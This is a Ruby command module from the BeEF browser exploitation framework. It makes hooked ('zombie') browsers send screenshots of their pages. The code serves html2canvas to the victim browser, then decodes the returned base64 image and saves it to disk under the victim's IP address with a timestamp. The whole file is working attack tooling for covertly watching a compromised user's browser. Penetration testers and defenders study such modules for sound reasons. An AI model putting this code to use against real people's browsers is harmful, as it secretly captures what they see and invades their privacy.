#
# Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Spyder_eye < BeEF::Core::Command

  def self.options
    return [
        { 'ui_label'=>'Repeat', 'name'=>'repeat', 'description' => 'Number of snapshot to take.', 'value'=>'1', 'width'=>'80px' },
        { 'ui_label'=>'Delay', 'name'=>'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.', 'value'=>'3000', 'width'=>'80px' },
    ]
  end

  def pre_send
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js')
  end

  def post_execute 
    content = {}
    content['results'] = @datastore['results'] if not @datastore['results'].nil?
    save content

    # save screenshot file
    begin
      timestamp = Time.now.localtime.strftime("%Y-%m-%d_%H-%M-%S")
      ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
      filename = "#{$home_dir}/screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
      File.open(filename, 'wb') do |file|
        data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
        file.write(Base64.decode64(data))
      end
      print_info("Browser screenshot saved to '#{filename}'")
      BeEF::Core::Logger.instance.register("Zombie", "Browser screenshot saved to '#{filename}'")
    rescue => e
      print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
    end

    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
  end
end
